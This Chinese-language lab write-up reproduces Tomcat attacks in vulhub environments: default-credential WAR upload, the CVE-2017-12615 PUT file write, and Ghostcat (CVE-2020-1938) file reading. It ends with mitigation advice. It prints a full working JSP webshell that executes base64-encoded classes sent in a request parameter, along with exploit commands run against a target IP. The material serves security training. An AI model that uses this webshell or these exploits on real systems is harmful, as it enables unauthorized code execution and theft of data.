tomcat8(弱口令)
介绍
Tomcat 支持通过后端部署 war 文件,所以我们可以直接将 webshell 放入 Web 目录下。为了访问后端,需要权限。
Tomcat7+ 的权限如下:
-
manager(后台管理)
- manager-gui 拥有html页面权限
- manager-status 拥有查看status的权限
- manager-script 拥有text接口的权限,和status权限
- manager-jmx 拥有jmx权限,和status权限
-
host-manager(虚拟主机管理)
- admin-gui 拥有html页面权限
- admin-script 拥有text接口权限
漏洞复现
cd /vulhub/tomcat/tomcat8 sudo docker-compose up -d sudo docker ps -s 查看映射到哪个端口,得知是8080
右上角三个,随便点一个会进入登录页面,弱口令,tomcat:tomcat
第二个就发现可以进行上传文件的操作
找一个jsp格式木马,密码为passwd
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
为啥要传war包?
war包是用来进行Web开发时一个网站项目下的所有代码,包括前台HTML/CSS/JS代码,以及后台JavaWeb的代码。 当开发人员开发完毕时,就会将源码打包给测试人员测试,测试完后若要发布则也会打包成War包进行发布。War包 可以放在Tomcat下的webapps或word目录,当Tomcat服务器启动时,War包即会随之解压源代码来进行自动部署。
然后把shell3.jsp压缩为shell3.zip,最后改后缀为shell3.war上传。
然后蚁🗡连接就行。
Tomcat任意文件写入(CVE-2017-12615)
docker启动漏洞环境后,通过镜像id,进入
sudo docker exec -it 99e bash
#查看配置文件conf/web.xml中readonly的设置
cat conf/web.xml | grep readonly
补充:当 Tomcat 服务器的 readonly
属性被设置为 false
,意味着对应的目录是可写的。这就意味着,Web 应用程序可以在该目录下创建和修改文件。而这种操作也意味着,如果攻击者成功利用漏洞,可以通过攻击代码的方式将恶意文件写入服务器。
Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用/
)来绕过了限制。
对 / 绕过的解释这里有(没看懂):Tomcat 远程代码执行漏洞分析(CVE-2017-12615)及补丁 Bypass (qq.com)
把上一题的jsp木马用PUT写入
然后蚁🗡连接
Apache-Tomcat-Ajp漏洞(CVE-2020-1938)
漏洞描述
Ghostcat是Chaitin Tech安全研究员发现的Tomcat中的一个严重漏洞,由于Tomcat AJP协议中的缺陷,攻击者可以读取或包含Tomcat的Webapp目录中的任何文件。例如,攻击者可以读取 Web 应用配置文件或源代码。此外,如果目标Web应用具有文件上传功能,攻击者可以通过Ghostcat漏洞利用文件包含漏洞在目标主机上执行恶意代码。
影响范围
Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x
利用条件
在apache的影响范围内,AJP Connector开启(默认开启,端口8009),且攻击者能够访问 AJP Connector 服务端口
漏洞原理
Tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shell
具体:【WEB安全】Tomcat-Ajp协议漏洞分析 (qq.com)
漏洞复现(任意文件读取)
cd /vulhub/tomcat/CVE-2020-1938
sudo docker-compose up -d
docker ps -s查看映射端口
漏洞测试的两个工具:
- https://github.com/chaitin/xray
- https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
这里用第二个
sudo git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
cd CNVD-2020-10487-Tomcat-Ajp-lfi
sudo chmod +x CNVD-2020-10487-Tomcat-Ajp-lfi.py //赋予可执行的权限
sudo python CNVD-2020-10487-Tomcat-Ajp-lfi.py 10.139.10.152 -p 8009 -f WEB-INF/web.xml
命令解释:
这是一个用Python脚本执行Tomcat漏洞利用的命令。sudo是一个Linux操作系统中的超级用户权限命令,用于以管理员权限运行指定命令。CNVD-2020-10487-Tomcat-Ajp-lfi.py 是用于执行攻击的Python脚本文件名,10.139.10.152 是目标主机的IP地址,-p 8009 是指目标主机上Tomcat的AJP协议端口号,-f WEB-INF/web.xml 是指要获取的目标主机上WEB-INF/web.xml文件的相对路径。
漏洞修复
临时禁用AJP协议端口,在conf/server.xml配置文件中注释掉<Connector port=“8009” protocol="AJP/1.3"redirectPort=“8443” />
配置ajp配置中的secretRequired跟secret属性来限制认证